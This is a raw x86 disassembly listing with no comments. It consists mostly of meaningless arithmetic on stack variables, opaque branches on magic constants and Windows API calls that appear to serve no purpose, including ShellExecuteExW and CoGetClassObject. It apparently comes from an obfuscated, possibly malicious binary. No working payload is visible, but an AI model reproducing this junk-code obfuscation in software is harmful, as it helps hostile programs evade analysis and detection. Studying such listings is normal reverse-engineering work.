mov eax, dword [ebp - 0x208]
sub eax, dword [edx]
mov dword [ebp - 0x1d24], eax
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x18dc]
and edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
movzx edx, byte [ebp - 0x1ad]
movzx eax, byte [ebp - 0x7bd]
xor edx, eax
mov byte [ebp - 0xa49], dl
mov ecx, dword [ebp - 0x167c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x209c]
shl edx, cl
mov eax, dword [ebp - 0x29c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x22dc]
add ecx, 0xce
mov dword [ebp - 0x22dc], ecx
mov edx, dword [ebp - 0xc34]
mov eax, dword [ebp - 0x1c04]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x142c]
mov ecx, dword [eax]
or ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x6cc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x167c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x14a0]
add ecx, dword [edx]
mov eax, dword [ebp - 0x804]
mov dword [eax], ecx
movzx ecx, word [ebp - 0x18dc]
movzx edx, word [ebp - 0x10dc]
sub ecx, edx
mov eax, dword [ebp - 0x240c]
mov word [eax], cx
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x18a1]
and edx, eax
mov byte [ebp - 0xa49], dl
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [ebp - 0x13d8]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0x10d0]
add ecx, dword [ebp - 0x2168]
mov dword [ebp - 0x208], ecx
mov edx, dword [ebp - 0x2298]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x5f5]
add eax, ecx
mov byte [ebp - 0x3e9], al
mov edx, dword [ebp - 0xf00]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x2f0]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x174], ax
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp + 8], cl
jmp 0x4f4ac0
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x18dc]
sub edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
mov edx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x804]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x14a0]
add eax, dword [ecx]
mov dword [ebp - 0x874], eax
mov edx, dword [ebp - 0x394]
mov eax, dword [ebp - 0x208]
or eax, dword [edx]
mov ecx, dword [ebp - 0x128]
mov dword [ecx], eax
mov edx, dword [ebp - 0x16d0]
mov eax, dword [edx]
xor eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x128]
mov dword [ecx], eax
mov edx, dword [ebp - 0x13d8]
mov eax, dword [ebp - 0x1c04]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x142c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x168]
mov byte [ecx], dl
mov edx, dword [ebp - 0x240c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x18dc]
and eax, ecx
mov word [ebp - 0xa9c], ax
mov edx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x76c]
sub eax, dword [edx]
mov dword [ebp - 0x1fbc], eax
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [ecx]
add edx, dword [ebp - 0x10d0]
mov eax, dword [ebp - 0xc34]
mov dword [eax], edx
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ebp - 0x208]
and edx, dword [ecx]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x20fc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x29c]
add ecx, dword [edx]
mov eax, dword [ebp - 0x14a0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x680]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x680]
mov byte [eax], dl
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x10dc]
add edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
mov edx, dword [ebp - 0x16d0]
mov eax, dword [ebp - 0x33c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp + 0xc], ecx
movsx edx, byte [ebp - 0x3e9]
movsx eax, byte [ebp - 0x5f5]
sub edx, eax
mov ecx, dword [ebp - 0x1bdc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x14a0]
mov eax, dword [edx]
xor eax, dword [ebp - 0x1fbc]
mov ecx, dword [ebp - 0x20fc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x114]
shl edx, cl
mov eax, dword [ebp - 0x394]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19a8]
sub ecx, 0xe8
mov dword [ebp - 0x19a8], ecx
mov edx, dword [ebp - 0x8b8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xf9c]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x7bd], al
mov edx, dword [ebp - 0x240c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xa9c]
or eax, ecx
mov edx, dword [ebp - 0x240c]
mov word [edx], ax
mov eax, dword [ebp - 0x1d24]
and eax, dword [ebp - 0x2168]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0x20fc]
mov edx, dword [ebp - 0x874]
sub edx, dword [ecx]
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp - 0x176c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1c04]
add ecx, dword [edx]
mov eax, dword [ebp - 0x6cc]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x394]
add edx, dword [eax]
mov ecx, dword [ebp - 0x128]
mov dword [ecx], edx
movzx edx, word [ebp - 0x18dc]
movzx eax, word [ebp - 0x10dc]
add edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
movzx edx, byte [ebp + 8]
mov eax, dword [ebp - 0x680]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x168]
mov byte [eax], dl
mov ecx, dword [ebp - 0x167c]
mov edx, dword [ebp - 0x874]
add edx, dword [ecx]
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x33c]
mov ecx, dword [eax]
sub ecx, dword [ebp + 0xc]
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
sub eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x394]
mov dword [ecx], eax
mov edx, dword [ebp - 0x394]
mov eax, dword [ebp - 0xc34]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x1d24]
mov ecx, dword [ebp - 0x114]
shl edx, cl
mov eax, dword [ebp - 0x16d0]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x5f5]
mov edx, dword [ebp - 0xab8]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x3e9], cl
mov ecx, dword [ebp - 0x2f0]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x174]
sar edx, cl
mov eax, dword [ebp - 0x2f0]
mov word [eax], dx
movzx ecx, byte [ebp - 0x1ad]
movzx edx, byte [ebp - 0xead]
xor ecx, edx
mov eax, dword [ebp - 0xf9c]
mov byte [eax], cl
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xa9c]
and edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
mov edx, dword [ebp - 0x209c]
sub edx, dword [ebp - 0x1f74]
mov eax, dword [ebp - 0x804]
mov dword [eax], edx
cmp dword [ebp - 0x19a8], 0x9c20
ja 0x4f4dc3
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x13d8]
add edx, dword [eax]
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x208]
cmp edx, ecx
jl 0x4f5230
mov edx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x1654]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xa40]
mov dword [edx], ecx
lea eax, [ebp - 0x213a]
mov dword [ebp - 0x2648], eax
mov cl, byte [ebp + 8]
mov byte [ebp - 0x26ec], cl
cmp byte [ebp - 0x26ec], 0
je 0x4f517a
jmp 0x4f521d
lea edx, [ebp - 0x10dc]
mov dword [ebp - 0x10ac], edx
mov eax, dword [ebp - 0x208]
sub eax, dword [ebp - 0x1d24]
mov ecx, dword [ebp + 0xc]
and ecx, dword [ebp - 0x2168]
cmp eax, ecx
je 0x4f51f4
mov edx, dword [ebp - 0xc34]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x394]
add eax, dword [ecx]
mov dword [ebp - 0x2168], eax
mov edx, dword [ebp - 0xa40]
mov eax, dword [edx]
sub eax, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0x14a0]
mov dword [ecx], eax
lea edx, [ebp - 0xa8]
push edx
call dword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [ebp - 0xfb4], eax
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [ebp - 0x10d0]
add ecx, dword [eax]
mov edx, dword [ebp - 0x33c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x10d0]
or ecx, dword [eax]
mov dword [ebp - 0x208], ecx
movzx edx, byte [ebp + 8]
movzx ecx, byte [ebp - 0xa49]
shl edx, cl
mov byte [ebp - 0x2085], dl
jmp 0x4f5230
lea eax, [ebp - 0xe18]
push eax
call dword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [ebp - 0x1e4c], eax
lea ecx, [ebp - 0x10dc]
mov dword [ebp - 0x15f0], ecx
mov edx, dword [ebp - 0x240c]
movzx eax, word [edx]
mov dword [ebp - 0x26f0], eax
cmp dword [ebp - 0x26f0], 0
je 0x4f5269
cmp dword [ebp - 0x26f0], 0xc31
je 0x4f5340
jmp 0x4f53c8
movzx ecx, word [ebp - 0xa9c]
mov dword [ebp - 0x26f4], ecx
cmp dword [ebp - 0x26f4], 0xe8c
je 0x4f5287
jmp 0x4f533b
mov edx, dword [ebp - 0xa40]
mov eax, dword [ebp - 0x874]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x76c], eax
mov ecx, dword [ebp - 0x2168]
mov dword [ebp - 0x26f8], ecx
cmp dword [ebp - 0x26f8], 0x244dacdc
je 0x4f52b7
jmp 0x4f52cc
mov edx, dword [ebp - 0x128]
mov eax, dword [edx]
xor eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x1c04]
mov dword [ecx], eax
jmp 0x4f52ec
lea edx, [ebp - 0xc0]
push edx
lea eax, [ebp - 0x4e8]
push eax
lea ecx, [ebp - 0x1764]
push ecx
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x22a0], eax
movsx edx, word [ebp - 0x174]
mov eax, dword [ebp - 0xf00]
movsx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x2f0]
mov word [eax], dx
mov ecx, dword [ebp - 0xf9c]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x20fc]
mov ecx, dword [eax]
push ecx
movzx edx, word [ebp - 0x174]
push edx
mov eax, dword [ebp - 0x2298]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0xab8]
movzx eax, byte [edx]
push eax
call fcn.00429f50
jmp 0x4f53c8
movsx ecx, byte [ebp - 0x3e9]
mov edx, dword [ebp - 0xab8]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x5f5], cl
lea ecx, [ebp - 0x15a8]
push ecx
push 0xce
lea edx, [ebp - 0x2530]
push edx
push 0x6e
lea eax, [ebp - 0x240c]
push eax
lea ecx, [ebp - 0x17d0]
push ecx
call dword [sym.imp.ole32.dll_CoGetStandardMarshal]
mov dword [ebp - 0x102c], eax
mov edx, dword [ebp - 0x15f0]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x18dc]
add eax, ecx
mov edx, dword [ebp - 0x240c]
mov word [edx], ax
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
movzx edx, byte [ebp + 8]
sub ecx, edx
mov byte [ebp - 0x7bd], cl
mov edx, dword [ebp - 0x874]
mov ecx, dword [ebp - 0x18dc]
call fcn.004721c0
mov eax, dword [ebp - 0x15f0]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x240c]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x10ac]
movzx eax, word [edx]
movzx edx, word [ebp - 0x18dc]
add eax, edx
cmp ecx, eax
jge 0x4f549a
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x29c]
add ecx, dword [edx]
mov eax, dword [ebp - 0xa40]
mov dword [eax], ecx
mov cl, byte [ebp + 8]
mov byte [ebp - 0x26fc], cl
cmp byte [ebp - 0x26fc], 0x6d
je 0x4f547f
cmp byte [ebp - 0x26fc], 0x8b
je 0x4f542b
jmp 0x4f5495
mov edx, dword [ebp - 0x16d0]
mov eax, dword [ebp - 0x1d24]
or eax, dword [edx]
mov dword [ebp + 0xc], eax
lea ecx, [ebp - 0x4cc]
push ecx
call dword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [ebp - 0x2570], eax
mov edx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x208]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x13d8]
mov dword [ecx], eax
mov edx, dword [ebp - 0xe60]
mov edx, dword [edx]
mov eax, dword [ebp - 0x240c]
mov cx, word [eax]
call fcn.004721c0
jmp 0x4f5495
mov ecx, dword [ebp - 0x804]
mov edx, dword [ebp - 0x167c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x209c], eax
jmp 0x4f5526
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [ebp - 0xc34]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x208], eax
movzx ecx, word [ebp - 0x10dc]
mov dword [ebp - 0x2700], ecx
cmp dword [ebp - 0x2700], 0
je 0x4f54d6
cmp dword [ebp - 0x2700], 0xbc
je 0x4f5510
jmp 0x4f5526
mov edx, dword [ebp - 0x10ac]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xa9c]
sub eax, ecx
mov word [ebp - 0x18dc], ax
lea edx, [ebp + 8]
mov dword [ebp - 0x162c], edx
mov eax, dword [ebp - 0x176c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x128]
mov dword [edx], ecx
jmp 0x4f5526
mov eax, dword [ebp - 0x167c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1f74]
mov edx, dword [ebp - 0x29c]
mov dword [edx], ecx
movsx eax, word [ebp - 0x174]
mov dword [ebp - 0x2704], eax
cmp dword [ebp - 0x2704], 0
je 0x4f5541
jmp 0x50d64a
movzx ecx, word [ebp - 0xa9c]
mov dword [ebp - 0x2708], ecx
cmp dword [ebp - 0x2708], 0
je 0x4f5568
cmp dword [ebp - 0x2708], 0x2dd
je 0x4f55db
jmp 0x4f5663
mov dx, word [ebp - 0x10dc]
mov word [ebp - 0x1594], dx
movzx eax, byte [ebp - 0xa49]
mov ecx, dword [ebp - 0x2648]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xead], al
mov eax, dword [ebp - 0x2f0]
mov cx, word [eax]
mov word [ebp - 0x23a0], cx
lea edx, [ebp - 0x3e9]
mov dword [ebp - 0x147c], edx
mov eax, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x167c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp - 0x33c]
mov ecx, dword [ebp - 0x176c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x1d24], edx
jmp 0x4f5663
push 0x55
lea eax, [ebp - 0x2f0]
push eax
lea ecx, [ebp - 0x15f4]
push ecx
push 0xd0
push 0xd3
mov edx, dword [ebp - 0x1210]
push edx
call dword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xa49]
add ecx, edx
mov eax, dword [ebp - 0x2648]
mov byte [eax], cl
lea ecx, [ebp - 0xab8]
push ecx
lea edx, [ebp - 0x114]
push edx
lea eax, [ebp - 0x1a78]
push eax
push 0x64
lea ecx, [ebp - 0x18a1]
push ecx
call dword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [ebp - 0xfb4], eax
movzx edx, word [ebp - 0x10dc]
movzx eax, word [ebp - 0x18dc]
and edx, eax
mov word [ebp - 0x1594], dx
lea ecx, [ebp - 0x1f74]
mov dword [ebp - 0x93c], ecx
mov edx, dword [ebp - 0x76c]
mov dword [ebp - 0x270c], edx
cmp dword [ebp - 0x270c], 0
je 0x4f5699
cmp dword [ebp - 0x270c], 0xc3990d1d
je 0x50d5cf
jmp 0x50d630
movzx eax, word [ebp - 0x18dc]
movzx ecx, word [ebp - 0x10dc]
shl eax, cl
mov ecx, dword [ebp - 0x10ac]
mov word [ecx], ax
mov edx, dword [ebp - 0x804]
mov eax, dword [edx]
add eax, dword [ebp - 0x22a0]
mov ecx, dword [ebp - 0x1654]
mov edx, dword [ebp - 0x874]
sub edx, dword [ecx]
cmp eax, edx
jne 0x50d446
movsx eax, word [ebp - 0x23a0]
mov dword [ebp - 0x2710], eax
cmp dword [ebp - 0x2710], 0
je 0x4f56f1
jmp 0x4f578f
mov cl, byte [ebp - 0x18a1]
mov byte [ebp - 0x2714], cl
cmp byte [ebp - 0x2714], 0
je 0x4f5708
jmp 0x4f575d
mov dl, byte [ebp - 0x3e9]
mov byte [ebp - 0x1732], dl
lea eax, [ebp - 0xa9c]
mov dword [ebp - 0x344], eax
movzx ecx, byte [ebp - 0x7bd]
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x680]
mov byte [edx], cl
mov eax, dword [ebp - 0x1654]
mov ecx, dword [ebp - 0x804]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xe60]
mov dword [eax], edx
lea ecx, [ebp + 0xc]
mov dword [ebp - 0x1dc0], ecx
jmp 0x4f578a
lea edx, [ebp - 0x1f74]
push edx
lea eax, [ebp - 0x690]
push eax
lea ecx, [ebp - 0xc10]
push ecx
push 0x80
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [ebp - 0x1d70], eax
jmp 0x4f58b3
mov eax, dword [ebp - 0x10ac]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xa9c]
add ecx, edx
mov word [ebp - 0x10dc], cx
mov eax, dword [ebp - 0x16d0]
mov ecx, dword [eax]
mov dword [ebp - 0x2718], ecx
cmp dword [ebp - 0x2718], 0x1b561635
je 0x4f57d7
cmp dword [ebp - 0x2718], 0x3cdcc63a
je 0x4f589b
jmp 0x4f58b3
movzx edx, byte [ebp - 0xa49]
mov eax, dword [ebp - 0x2648]
movzx ecx, byte [eax]
and edx, ecx
movzx eax, byte [ebp - 0x7bd]
mov ecx, dword [ebp - 0xf9c]
movzx ecx, byte [ecx]
sub eax, ecx
cmp edx, eax
jg 0x4f5846
mov edx, dword [ebp - 0x2648]
movzx eax, byte [edx]
movzx ecx, byte [ebp + 8]
add eax, ecx
mov edx, dword [ebp - 0x2648]
mov byte [edx], al
push 0x6f
mov eax, dword [ebp - 0x131c]
push eax
mov ecx, dword [ebp - 0x1134]
push ecx
call dword [sym.imp.SHELL32.dll_ExtractIconW]
mov dword [ebp - 0x1cb0], eax
mov edx, dword [ebp - 0x22a0]
add edx, dword [ebp - 0x1f74]
mov eax, dword [ebp - 0xe60]
mov dword [eax], edx
lea ecx, [ebp - 0x1594]
push ecx
lea edx, [ebp - 0x1d18]
push edx
lea eax, [ebp - 0x131c]
push eax
lea ecx, [ebp - 0x1d18]
push ecx
lea edx, [ebp - 0x2404]
push edx
lea eax, [ebp - 0xc58]
push eax
lea ecx, [ebp - 0x394]
push ecx
lea edx, [ebp - 0x7bd]
push edx
call dword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [ebp - 0x1a58], eax
mov eax, dword [ebp - 0x1d24]
sub eax, dword [ebp - 0x2168]
mov dword [ebp + 0xc], eax
jmp 0x4f58b3
mov ecx, dword [ebp - 0x1c04]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xc34]
add edx, dword [eax]
mov ecx, dword [ebp - 0x33c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x167c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x1fbc]
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ebp - 0x1654]
mov ecx, dword [ecx]
or ecx, dword [edx]
cmp eax, ecx
jae 0x4f59e4
movzx edx, byte [ebp - 0xa49]
movzx ecx, byte [ebp - 0x7bd]
sar edx, cl
mov eax, dword [ebp - 0x2648]
movzx eax, byte [eax]
mov ecx, dword [ebp - 0xf9c]
movzx ecx, byte [ecx]
shl eax, cl
cmp edx, eax
je 0x4f59e4
push 0x81
mov edx, dword [ebp - 0x300]
push edx
mov eax, dword [ebp - 0x300]
push eax
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov ecx, dword [ebp - 0xf00]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x23a0]
and edx, eax
mov ecx, dword [ebp - 0x2f0]
movsx eax, word [ecx]
movsx ecx, word [ebp - 0x174]
add eax, ecx
cmp edx, eax
je 0x4f59d3
mov dl, byte [ebp - 0xead]
mov byte [ebp - 0x271c], dl
cmp byte [ebp - 0x271c], 0xdc
je 0x4f5961
jmp 0x4f59a6
mov eax, dword [ebp - 0x93c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x22a0]
mov edx, dword [ebp - 0x167c]
mov dword [edx], ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
push edx
call fcn.004ef7c0
add esp, 8
movzx eax, word [ebp - 0x1594]
movzx ecx, word [ebp - 0x10dc]
and eax, ecx
mov word [ebp - 0xa9c], ax
jmp 0x4f59d1
lea edx, [ebp - 0x262c]
push edx
call dword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov dword [ebp - 0x658], eax
movzx eax, byte [ebp - 0xa49]
movzx ecx, byte [ebp - 0x7bd]
add eax, ecx
mov edx, dword [ebp - 0x2648]
mov byte [edx], al
jmp 0x4f59e4
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [ebp - 0x208]
sub ecx, dword [eax]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x1d24]
sub edx, dword [ebp - 0x2168]
mov dword [ebp - 0x208], edx
mov al, byte [ebp - 0x2085]
mov byte [ebp - 0x2720], al
cmp byte [ebp - 0x2720], 0x42
je 0x4f5a10
jmp 0x4f5b24
mov ecx, dword [ebp - 0x2168]
push ecx
mov edx, dword [ebp - 0x2648]
movzx eax, byte [edx]
push eax
call fcn.004ef7c0
add esp, 8
mov ecx, dword [ebp - 0x20fc]
mov edx, dword [ebp - 0x874]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xa40]
mov ecx, dword [ebp - 0x1f74]
or ecx, dword [eax]
cmp edx, ecx
jne 0x4f5b22
mov edx, dword [ebp - 0x2f0]
movsx eax, word [edx]
mov dword [ebp - 0x2724], eax
cmp dword [ebp - 0x2724], 0x5d0
je 0x4f5b06
cmp dword [ebp - 0x2724], 0x3f54
je 0x4f5a7d
jmp 0x4f5b22
movsx edx, word [ebp - 0x174]
movsx ecx, word [ebp - 0x23a0]
sar edx, cl
mov eax, dword [ebp - 0xf00]
mov word [eax], dx
movsx ecx, byte [ebp - 0x3e9]
mov edx, dword [ebp - 0x1bdc]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x5f5], cl
lea ecx, [ebp - 0x168]
push ecx
call dword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [ebp - 0xc84], eax
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x162c]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0xf9c]
mov byte [edx], al
mov eax, dword [ebp - 0x176c]
mov ecx, dword [ebp - 0x208]
and ecx, dword [eax]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x167c]
mov eax, dword [ebp - 0x76c]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x14a0]
mov dword [ecx], eax
jmp 0x4f5b22
push 1
lea edx, [ebp - 0x12bc]
push edx
lea eax, [ebp - 0x1b80]
push eax
call dword [sym.imp.SHELL32.dll_ILAppendID]
mov dword [ebp - 0x1fd0], eax
jmp 0x4f5b7f
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ecx]
mov dword [ebp - 0x2728], edx
cmp dword [ebp - 0x2728], 0x678350a5
je 0x4f5b40
jmp 0x4f5b7f
mov eax, dword [ebp - 0xe60]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x874]
mov dword [ebp - 0x209c], ecx
mov edx, dword [ebp - 0x1dc0]
mov eax, dword [ebp - 0x6cc]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x13d8]
mov dword [edx], ecx
lea eax, [ebp - 0x1020]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [ebp - 0x9f8], eax
movsx ecx, word [ebp - 0x174]
mov edx, dword [ebp - 0xf00]
movsx eax, word [edx]
add ecx, eax
movsx edx, word [ebp - 0x23a0]
mov eax, dword [ebp - 0x2f0]
movsx eax, word [eax]
add edx, eax
cmp ecx, edx
je 0x4f5bbf
lea ecx, [ebp - 0x1a78]
push ecx
call dword [sym.imp.ole32.dll_CoFileTimeNow]
mov dword [ebp - 0x190c], eax
jmp 0x50d36a
movzx edx, word [ebp - 0x10dc]
movzx eax, word [ebp - 0x1594]
and edx, eax
mov ecx, dword [ebp - 0x15f0]
movzx eax, word [ecx]
movzx ecx, word [ebp - 0x18dc]
sub eax, ecx
cmp edx, eax
jne 0x50d36a
movsx edx, word [ebp - 0x174]
mov dword [ebp - 0x272c], edx
cmp dword [ebp - 0x272c], 0x174d
je 0x4f5c17
cmp dword [ebp - 0x272c], 0x7a63
je 0x4f5c96
jmp 0x4f5d4f
mov eax, dword [ebp - 0x804]
mov ecx, dword [eax]
mov dword [ebp - 0x2730], ecx
cmp dword [ebp - 0x2730], 0x328bcc40
je 0x4f5c7a
cmp dword [ebp - 0x2730], 0xf17f1b1b
je 0x4f5c3f
jmp 0x4f5c91
mov edx, dword [ebp - 0x2168]
or edx, dword [ebp - 0x1d24]
mov eax, dword [ebp - 0x13d8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2168]
and ecx, dword [ebp - 0x114]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x804]
mov eax, dword [edx]
add eax, dword [ebp - 0x22a0]
mov ecx, dword [ebp - 0x29c]
mov dword [ecx], eax
jmp 0x4f5c91
movzx edx, word [ebp - 0xa9c]
movzx eax, word [ebp - 0x1594]
add edx, eax
mov word [ebp - 0x10dc], dx
jmp 0x4f5d4f
lea ecx, [ebp - 0x2190]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [ebp - 0x1d70], eax
mov edx, dword [ebp - 0xa40]
mov eax, dword [edx]
mov dword [ebp - 0x2734], eax
cmp dword [ebp - 0x2734], 0x44f58be1
je 0x4f5d34
cmp dword [ebp - 0x2734], 0x468eda6b
je 0x4f5cd1
jmp 0x4f5d4f
mov ecx, dword [ebp - 0xf00]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x23a0]
add edx, eax
movsx ecx, word [ebp - 0x174]
mov eax, dword [ebp - 0x2f0]
movsx eax, word [eax]
sub ecx, eax
cmp edx, ecx
jl 0x4f5d21
movzx ecx, byte [ebp + 8]
movzx edx, byte [ebp - 0xa49]
and ecx, edx
mov eax, dword [ebp - 0x162c]
mov byte [eax], cl
mov edx, dword [ebp - 0x22a0]
mov ecx, dword [ebp - 0x18dc]
call fcn.004721c0
jmp 0x4f5d32
mov ecx, dword [ebp - 0x176c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x208]
mov dword [ebp + 0xc], edx
jmp 0x4f5d4f
mov eax, dword [ebp - 0xf00]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x23a0]
sar edx, cl
mov eax, dword [ebp - 0x2f0]
mov word [eax], dx
mov ecx, dword [ebp - 0x22a0]
mov dword [ebp - 0x2400], ecx
mov dl, byte [ebp - 0x5f5]
mov byte [ebp - 0x2738], dl
cmp byte [ebp - 0x2738], 0x15
je 0x4f5e35
cmp byte [ebp - 0x2738], 0x3f
je 0x4f5d82
jmp 0x4f5e8c
